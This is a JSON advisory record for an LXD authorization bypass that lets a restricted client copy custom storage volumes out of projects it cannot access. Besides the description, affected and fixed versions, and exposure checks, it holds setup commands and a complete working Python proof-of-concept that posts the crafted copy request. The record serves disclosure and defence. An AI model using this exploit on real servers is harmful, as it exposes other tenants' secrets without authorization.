{"id":"GHSA-7mr3-28h5-m5vx","kind":"vulnerability","aliases":["GHSA-7mr3-28h5-m5vx"],"related":[],"title":"LXD has project restriction bypass for custom volume copy across projects","description":"Reported from https://github.com/lxc/incus/security/advisories/GHSA-64f3-v33m-w89f\n\n### Summary\n\nMissing authorization checks exist for custom volume copying where an attacker knowing the name of a project that they don't have access to and the name of a custom volume in that project can copy the custom volume to a new project. This issue could allow an attacker to access secrets in custom volumes they are not authorized to access.\n\n### Details\n\nThe storage volume creation handler authorizes creation in the target project, then passes `req.Source.Project` into the custom-volume copy path without checking that the caller can view the source volume. `req.Source.Project` is the attacker-controlled field. It is resolved to a storage volume project name and passed directly to `CreateCustomVolumeFromCopy`. No `allowPermission` or entitlement check (e.g. `CanView` on the source volume) is performed.\n\nFrom my understanding, the copy must occur on the same server. However, once the copy has been done, nothing prevents a malicious actor from moving the volume to another server.\n\n### PoC\n#### Setup\n\nWe assume the target server is remotely accessible and a user/certificate has been added.\n\n```\n# create a new project and instance\nincus project create secrets\nincus profile show default | incus --project secrets edit default\nincus --project secrets storage volume create default secret-vol\n\n# restrict an existing certificate to prevent access to the project\nincus config trust edit cert-fp\n#> set, for example\nrestricted: true\nprojects:\n  - default\n\n# verification, with the restricted certificate\nincus --project secrets storage volume ls remote:default\n```\n\n#### Exploitation\n\nThe below script was partly generated. To copy the secret instance to the default project, the following command can be used.\n\n```\npython3 poc.py --url https://IP-REMOTE:8443 \\\n    --cert path/to/client.crt --key path/to/client.key \\\n    --target-project default --source-project secrets \\\n    --source-volume secret-vol --name copy-secret-vol \\\n    --pool default --source-pool default \\\n    --insecure\n```\n\nWait a bit for the custom volume to be copied, then `incus storage volume ls remote:default` to see the copied instance.\n\n```\n#!/usr/bin/env python3\n\"\"\"Copy a custom storage volume from another project into an allowed project.\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport json\nimport ssl\nimport sys\nimport urllib.error\nimport urllib.parse\nimport urllib.request\n\n\ndef post(url: str, path: str, body: dict, cert: str, key: str, insecure: bool) -> bytes:\n    ctx = ssl.create_default_context()\n    if insecure:\n        ctx.check_hostname = False\n        ctx.verify_mode = ssl.CERT_NONE\n    ctx.load_cert_chain(cert, key)\n    req = urllib.request.Request(\n        url.rstrip(\"/\") + path,\n        data=json.dumps(body).encode(),\n        method=\"POST\",\n        headers={\"Content-Type\": \"application/json\", \"Accept\": \"application/json\"},\n    )\n    try:\n        with urllib.request.urlopen(req, context=ctx) as resp:\n            return resp.read()\n    except urllib.error.HTTPError as exc:\n        sys.stderr.write(exc.read().decode(errors=\"replace\") + \"\\n\")\n        raise\n\n\ndef main() -> int:\n    ap = argparse.ArgumentParser()\n    ap.add_argument(\"--url\", required=True)\n    ap.add_argument(\"--cert\", required=True)\n    ap.add_argument(\"--key\", required=True)\n    ap.add_argument(\"--pool\", required=True)\n    ap.add_argument(\"--target-project\", required=True)\n    ap.add_argument(\"--source-project\", required=True)\n    ap.add_argument(\"--source-volume\", required=True)\n    ap.add_argument(\"--source-pool\")\n    ap.add_argument(\"--name\", required=True, help=\"new volume name in target project\")\n    ap.add_argument(\"--content-type\", default=\"filesystem\", choices=[\"filesystem\", \"block\"])\n    ap.add_argument(\"--volume-only\", action=\"store_true\")\n    ap.add_argument(\"--insecure\", action=\"store_true\")\n    ap.add_argument(\"--dry-run\", action=\"store_true\")\n    args = ap.parse_args()\n\n    source = {\n        \"type\": \"copy\",\n        \"name\": args.source_volume,\n        \"project\": args.source_project,\n        \"volume_only\": args.volume_only,\n    }\n    if args.source_pool:\n        source[\"pool\"] = args.source_pool\n\n    body = {\n        \"name\": args.name,\n        \"type\": \"custom\",\n        \"content_type\": args.content_type,\n        \"source\": source,\n    }\n    path = \"/1.0/storage-pools/{}/volumes/custom?{}\".format(\n        urllib.parse.quote(args.pool, safe=\"\"),\n        urllib.parse.urlencode({\"project\": args.target_project}),\n    )\n    print(json.dumps(body, indent=2))\n    if args.dry_run:\n        return 0\n    print(post(args.url, path, body, args.cert, args.key, args.insecure).decode(errors=\"replace\"))\n    return 0\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```\n\n### Impact\n\nAn attacker can copy instances they don't normally have access to, possibly leading to information disclosure.","summary":"LXD's storage volume creation handler does not check that the caller may view the source volume when copying a custom volume from another project. An attacker who knows a project and volume name they cannot access can copy the volume into a project they can reach and read its contents, including any secrets.","severity":"high","cvss":7.7,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"github.com/canonical/lxd","fixed":["0.0.0-20260630083100-c5184be310b1"],"affected":"< 0.0.0-20260630083100-c5184be310b1","ecosystem":"go"}],"ecosystems":["go"],"tags":["cwe-284","go","incus","infrastructure","lxd","self-hosted"],"not_affected_if":["no-remote-api","patched-version","unrestricted-clients-only"],"how_to_check":"- Check the installed LXD or Go module version: `go list -m github.com/canonical/lxd` or `lxd --version`\n- Look for restricted certificates with project access: `incus config trust list` or `lxc config trust list`, then inspect with `lxc config trust show <fingerprint>`\n- Review whether any restricted client can reach the server remotely on port 8443","fix":"- `github.com/canonical/lxd` moves to `0.0.0-20260630083100-c5184be310b1` (the fixed pseudo-version from the product data)","status":"open","published_at":"2026-11-06T19:51:16+00:00","first_seen_at":"2026-11-06T19:53:29+00:00","triaged_at":"2026-11-06T19:53:57+00:00","updated_at":"2026-11-06T19:53:57+00:00","category":"infrastructure","confidence":0.8,"triage":{"at":"2026-11-06T19:53:57Z","model":"claude-haiku-5-5","output":{"fix":"- `github.com/canonical/lxd` moves to `0.0.0-20260630083100-c5184be310b1` (the fixed pseudo-version from the product data)","reach":"network","title":"LXD: restricted client can copy custom volumes from other projects","impact":"medium","summary":"LXD's storage volume creation handler does not check that the caller may view the source volume when copying a custom volume from another project. An attacker who knows a project and volume name they cannot access can copy the volume into a project they can reach and read its contents, including any secrets.","audience":"businesses","category":"infrastructure","nicknames":[],"who_cares":["lxd","incus","self-hosted","go"],"confidence":0.8,"fix_status":"available","needs_auth":"yes","worst_case":"Secrets in custom volumes from other projects become readable by a restricted client","analyst_note":"","how_to_check":"- Check the installed LXD or Go module version: `go list -m github.com/canonical/lxd` or `lxd --version`\n- Look for restricted certificates with project access: `incus config trust list` or `lxc config trust list`, then inspect with `lxc config trust show <fingerprint>`\n- Review whether any restricted client can reach the server remotely on port 8443","plain_action":"","needs_analyst":false,"not_affected_if":["no-remote-api","unrestricted-clients-only","patched-version"],"who_is_affected":"Servers running LXD or Incus with restricted client certificates that are limited to some projects, reachable over the network on the API port. Single-user hosts where every client is fully trusted, or servers not exposing the API remotely, are lower risk. The sources describe the copy happening on the same server, so the exposure is to clients that already hold a valid certificate for the server.","user_interaction":"no","needs_special_setup":"yes","severity_if_unknown":"high"},"cost_usd":0.00092,"input_tokens":6037,"output_tokens":632,"severity_before":"high"},"analyst_status":null,"analyst_note":null,"search":"'-284':26B '/canonical/lxd':24A '/lxc/incus/security/advisories/ghsa-64f3-v33m-w89f':92C '/usr/bin/env':414C '28h5':15A,20A '7mr3':14A,19A '8443':361C 'accept':494C 'access':70B,116C,144C,154C,260C,302C 'across':10A 'action':595C,601C,609C 'actor':243C 'add':266C 'allow':140C,426C 'allowpermiss':209C 'annot':431C 'anoth':57B,249C,422C 'ap':520C 'ap.add':522C,527C,532C,537C,542C,549C,556C,563C,568C,580C,590C,598C,604C 'ap.parse':613C 'application/json':493C,495C 'arg':612C,614C 'argpars':433C 'argparse.argumentparser':521C 'argument':523C,528C,533C,538C,543C,550C,557C,564C,569C,581C,591C,599C,605C 'assum':254C 'attack':60B,104C,142C,191C 'attacker-control':190C 'author':95C,152C,161C 'bit':394C 'block':589C 'bodi':452C,485C 'bool':459C 'bypass':5A 'byte':460C 'caller':45B,181C 'cannot':69B 'canview':214C 'cert':311C,362C,454C,475C,477C,529C 'cert-fp':310C 'certif':299C,324C 'chain':476C 'check':42B,96C,178C,212C 'choic':587C 'command':351C 'config':307C 'content':84B,491C,583C 'content-typ':490C,582C 'context':464C,500C 'control':192C 'copi':9A,52B,72B,101C,129C,175C,225C,235C,341C,382C,401C,412C,416C 'copy-secret-vol':381C 'could':139C 'creat':267C,275C,291C 'createcustomvolumefromcopi':207C 'creation':38B,159C,162C 'ctx':461C,501C 'ctx.check':467C 'ctx.load':474C 'ctx.verify':470C 'custom':7A,54B,99C,123C,131C,147C,173C,397C,418C 'custom-volum':172C 'cwe':25B 'data':483C 'decod':512C 'def':446C,517C 'default':280C,285C,292C,319C,332C,347C,369C,386C,390C,408C,463C,585C 'detail':155C 'dict':453C 'direct':205C 'done':238C 'dri':607C 'dry-run':606C 'e.g':213C 'edit':284C,309C 'encod':486C 'entitl':211C 'error':513C 'exampl':315C 'exc':509C 'exc.read':511C 'except':506C 'exist':97C,298C 'exploit':333C 'fals':469C 'field':193C 'filesystem':586C,588C 'follow':350C 'fp':312C 'futur':429C 'generat':339C 'ghsa':13A,18A 'ghsa-7mr3-28h5-m5vx':12A,17A 'github.com':23A,91C 'github.com/canonical/lxd':22A 'github.com/lxc/incus/security/advisories/ghsa-64f3-v33m-w89f':90C 'go':27B 'handler':39B,160C 'header':489C 'help':573C 'host':33B 'hostnam':468C 'howev':232C 'import':430C,432C,434C,436C,438C,440C,442C,444C 'includ':85B 'incus':28B,273C,277C,281C,286C,306C,325C,403C 'infrastructur':29B 'insecur':391C,458C,466C,600C 'instanc':272C,344C,413C 'int':519C 'ip':359C 'ip-remot':358C 'issu':138C 'json':435C 'json.dumps':484C 'key':364C,456C,478C,534C 'know':62B,105C 'ls':330C,406C 'lxd':1A,30B,34B 'm5vx':16A,21A 'main':518C 'malici':242C 'may':46B 'method':487C 'miss':94C 'mode':471C 'move':245C 'must':226C 'n':515C 'name':67B,107C,120C,202C,380C,570C,576C 'new':135C,269C,574C 'none':473C 'noth':239C 'occur':227C 'part':338C 'pass':168C,204C 'path':176C,450C,482C 'path/to/client.crt':363C 'path/to/client.key':365C 'perform':220C 'poc':251C 'poc.py':356C 'pool':385C,389C,539C,567C 'post':447C,488C 'prevent':240C,301C 'profil':278C 'project':3A,11A,58B,64B,77B,110C,127C,136C,166C,201C,270C,274C,282C,287C,305C,318C,326C,348C,368C,372C,423C,427C,546C,553C,579C 'python3':355C,415C 'rais':516C 'reach':80B 'read':82B 'remot':259C,331C,360C,407C 'replac':514C 'report':88C 'req':479C,499C 'req.source.project':169C,187C 'requir':525C,530C,535C,540C,547C,554C,561C,571C 'resolv':196C 'resp':503C 'resp.read':505C 'restrict':4A,296C,316C,323C 'return':504C 'run':608C 'script':336C 'secret':87B,145C,276C,283C,288C,294C,327C,343C,373C,378C,383C 'secret-vol':293C,377C 'see':410C 'self':32B 'self-host':31B 'server':231C,250C,257C 'set':313C 'setup':252C 'show':279C 'sourc':49B,185C,217C,371C,375C,388C,552C,559C,566C,615C 'source-pool':387C,565C 'source-project':370C,551C 'source-volum':374C,558C 'ssl':437C 'ssl.cert':472C 'ssl.create':462C 'storag':36B,157C,199C,289C,328C,404C,419C 'store':596C,602C,610C 'str':449C,451C,455C,457C 'summari':93C 'sys':439C 'sys.stderr.write':510C 'target':165C,256C,367C,545C,578C 'target-project':366C,544C 'tri':496C 'true':317C,526C,531C,536C,541C,548C,555C,562C,572C,597C,603C,611C 'trust':308C 'type':492C,584C 'understand':223C 'url':357C,448C,524C 'url.rstrip':481C 'urllib.error':441C 'urllib.error.httperror':507C 'urllib.parse':443C 'urllib.request':445C 'urllib.request.request':480C 'urllib.request.urlopen':498C 'use':354C 'user/certificate':263C 'verif':320C 'view':47B,183C 'vol':295C,379C,384C 'volum':8A,37B,50B,55B,66B,74B,100C,124C,132C,148C,158C,174C,186C,200C,218C,247C,290C,329C,376C,398C,405C,420C,560C,575C,593C 'volume-on':592C 'wait':392C 'without':177C","nicknames":[],"mitigations":[],"who_affected":"Servers running LXD or Incus with restricted client certificates that are limited to some projects, reachable over the network on the API port. Single-user hosts where every client is fully trusted, or servers not exposing the API remotely, are lower risk. The sources describe the copy happening on the same server, so the exposure is to clients that already hold a valid certificate for the server.","tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"businesses","plain_action":null,"pkeys":["githubcomcanonicallxd"],"ptokens":["canonical","com","github","lxd"],"labels":["cwe284","go","high","incus","infrastructure","lxd","selfhosted"],"campaign_type":null,"search_a":"'/canonical/lxd':24A '28h5':15A,20A '7mr3':14A,19A 'across':10A 'bypass':5A 'copi':9A 'custom':7A 'ghsa':13A,18A 'ghsa-7mr3-28h5-m5vx':12A,17A 'github.com':23A 'github.com/canonical/lxd':22A 'lxd':1A 'm5vx':16A,21A 'project':3A,11A 'restrict':4A 'volum':8A","search_b":"'-284':26B 'access':70B 'anoth':57B 'attack':60B 'caller':45B 'cannot':69B 'check':42B 'content':84B 'copi':52B,72B 'creation':38B 'custom':54B 'cwe':25B 'go':27B 'handler':39B 'host':33B 'includ':85B 'incus':28B 'infrastructur':29B 'know':62B 'lxd':30B,34B 'may':46B 'name':67B 'project':58B,64B,77B 'reach':80B 'read':82B 'secret':87B 'self':32B 'self-host':31B 'sourc':49B 'storag':36B 'view':47B 'volum':37B,50B,55B,66B,74B","search_c":"'/lxc/incus/security/advisories/ghsa-64f3-v33m-w89f':92C '/usr/bin/env':414C '8443':361C 'accept':494C 'access':116C,144C,154C,260C,302C 'action':595C,601C,609C 'actor':243C 'add':266C 'allow':140C,426C 'allowpermiss':209C 'annot':431C 'anoth':249C,422C 'ap':520C 'ap.add':522C,527C,532C,537C,542C,549C,556C,563C,568C,580C,590C,598C,604C 'ap.parse':613C 'application/json':493C,495C 'arg':612C,614C 'argpars':433C 'argparse.argumentparser':521C 'argument':523C,528C,533C,538C,543C,550C,557C,564C,569C,581C,591C,599C,605C 'assum':254C 'attack':104C,142C,191C 'attacker-control':190C 'author':95C,152C,161C 'bit':394C 'block':589C 'bodi':452C,485C 'bool':459C 'byte':460C 'caller':181C 'canview':214C 'cert':311C,362C,454C,475C,477C,529C 'cert-fp':310C 'certif':299C,324C 'chain':476C 'check':96C,178C,212C 'choic':587C 'command':351C 'config':307C 'content':491C,583C 'content-typ':490C,582C 'context':464C,500C 'control':192C 'copi':101C,129C,175C,225C,235C,341C,382C,401C,412C,416C 'copy-secret-vol':381C 'could':139C 'creat':267C,275C,291C 'createcustomvolumefromcopi':207C 'creation':159C,162C 'ctx':461C,501C 'ctx.check':467C 'ctx.load':474C 'ctx.verify':470C 'custom':99C,123C,131C,147C,173C,397C,418C 'custom-volum':172C 'data':483C 'decod':512C 'def':446C,517C 'default':280C,285C,292C,319C,332C,347C,369C,386C,390C,408C,463C,585C 'detail':155C 'dict':453C 'direct':205C 'done':238C 'dri':607C 'dry-run':606C 'e.g':213C 'edit':284C,309C 'encod':486C 'entitl':211C 'error':513C 'exampl':315C 'exc':509C 'exc.read':511C 'except':506C 'exist':97C,298C 'exploit':333C 'fals':469C 'field':193C 'filesystem':586C,588C 'follow':350C 'fp':312C 'futur':429C 'generat':339C 'github.com':91C 'github.com/lxc/incus/security/advisories/ghsa-64f3-v33m-w89f':90C 'handler':160C 'header':489C 'help':573C 'hostnam':468C 'howev':232C 'import':430C,432C,434C,436C,438C,440C,442C,444C 'incus':273C,277C,281C,286C,306C,325C,403C 'insecur':391C,458C,466C,600C 'instanc':272C,344C,413C 'int':519C 'ip':359C 'ip-remot':358C 'issu':138C 'json':435C 'json.dumps':484C 'key':364C,456C,478C,534C 'know':105C 'ls':330C,406C 'main':518C 'malici':242C 'method':487C 'miss':94C 'mode':471C 'move':245C 'must':226C 'n':515C 'name':107C,120C,202C,380C,570C,576C 'new':135C,269C,574C 'none':473C 'noth':239C 'occur':227C 'part':338C 'pass':168C,204C 'path':176C,450C,482C 'path/to/client.crt':363C 'path/to/client.key':365C 'perform':220C 'poc':251C 'poc.py':356C 'pool':385C,389C,539C,567C 'post':447C,488C 'prevent':240C,301C 'profil':278C 'project':110C,127C,136C,166C,201C,270C,274C,282C,287C,305C,318C,326C,348C,368C,372C,423C,427C,546C,553C,579C 'python3':355C,415C 'rais':516C 'remot':259C,331C,360C,407C 'replac':514C 'report':88C 'req':479C,499C 'req.source.project':169C,187C 'requir':525C,530C,535C,540C,547C,554C,561C,571C 'resolv':196C 'resp':503C 'resp.read':505C 'restrict':296C,316C,323C 'return':504C 'run':608C 'script':336C 'secret':145C,276C,283C,288C,294C,327C,343C,373C,378C,383C 'secret-vol':293C,377C 'see':410C 'server':231C,250C,257C 'set':313C 'setup':252C 'show':279C 'sourc':185C,217C,371C,375C,388C,552C,559C,566C,615C 'source-pool':387C,565C 'source-project':370C,551C 'source-volum':374C,558C 'ssl':437C 'ssl.cert':472C 'ssl.create':462C 'storag':157C,199C,289C,328C,404C,419C 'store':596C,602C,610C 'str':449C,451C,455C,457C 'summari':93C 'sys':439C 'sys.stderr.write':510C 'target':165C,256C,367C,545C,578C 'target-project':366C,544C 'tri':496C 'true':317C,526C,531C,536C,541C,548C,555C,562C,572C,597C,603C,611C 'trust':308C 'type':492C,584C 'understand':223C 'url':357C,448C,524C 'url.rstrip':481C 'urllib.error':441C 'urllib.error.httperror':507C 'urllib.parse':443C 'urllib.request':445C 'urllib.request.request':480C 'urllib.request.urlopen':498C 'use':354C 'user/certificate':263C 'verif':320C 'view':183C 'vol':295C,379C,384C 'volum':100C,124C,132C,148C,158C,174C,186C,200C,218C,247C,290C,329C,376C,398C,405C,420C,560C,575C,593C 'volume-on':592C 'wait':392C 'without':177C","first_public_at":"2026-11-06T19:51:16+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-7mr3-28h5-m5vx","url":"https://github.com/advisories/GHSA-7mr3-28h5-m5vx","severity":"high","published_at":"2026-11-06T19:51:16+00:00","modified_at":"2026-11-06T19:51:17+00:00","first_seen_at":"2026-11-06T19:53:29+00:00","fetched_at":"2026-11-06T19:53:29+00:00","note":null}],"documents":[{"id":89405,"url":"https://api.github.com/repos/canonical/lxd/security-advisories/GHSA-7mr3-28h5-m5vx","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":89406,"url":"https://github.com/canonical/lxd/security/advisories/GHSA-7mr3-28h5-m5vx","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"},{"id":89407,"url":"https://github.com/canonical/lxd/commit/8a4ed50ae855639d76021ba4bf26a50d7f2288fd","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":89408,"url":"https://github.com/canonical/lxd/commit/e2635a26957737ec4a77dc28dd7b84bd380881d6","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":89409,"url":"https://github.com/canonical/lxd/commit/eec1cf9504c18ad7c3c36ae0b62d21c05c25702c","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":89403,"url":"https://github.com/canonical/lxd/releases/tag/lxd-5.0.7","title":"Release: github.com","kind":"release","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Release: github.com"},{"id":88870,"url":"https://github.com/canonical/lxd/releases/tag/lxd-5.21.5","title":"Release: github.com","kind":"release","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Release: github.com"},{"id":89412,"url":"https://github.com/canonical/lxd/releases/tag/lxd-6.8","title":"Release: github.com","kind":"release","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Release: github.com"}],"exploit_sources":[],"notice":"Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai"}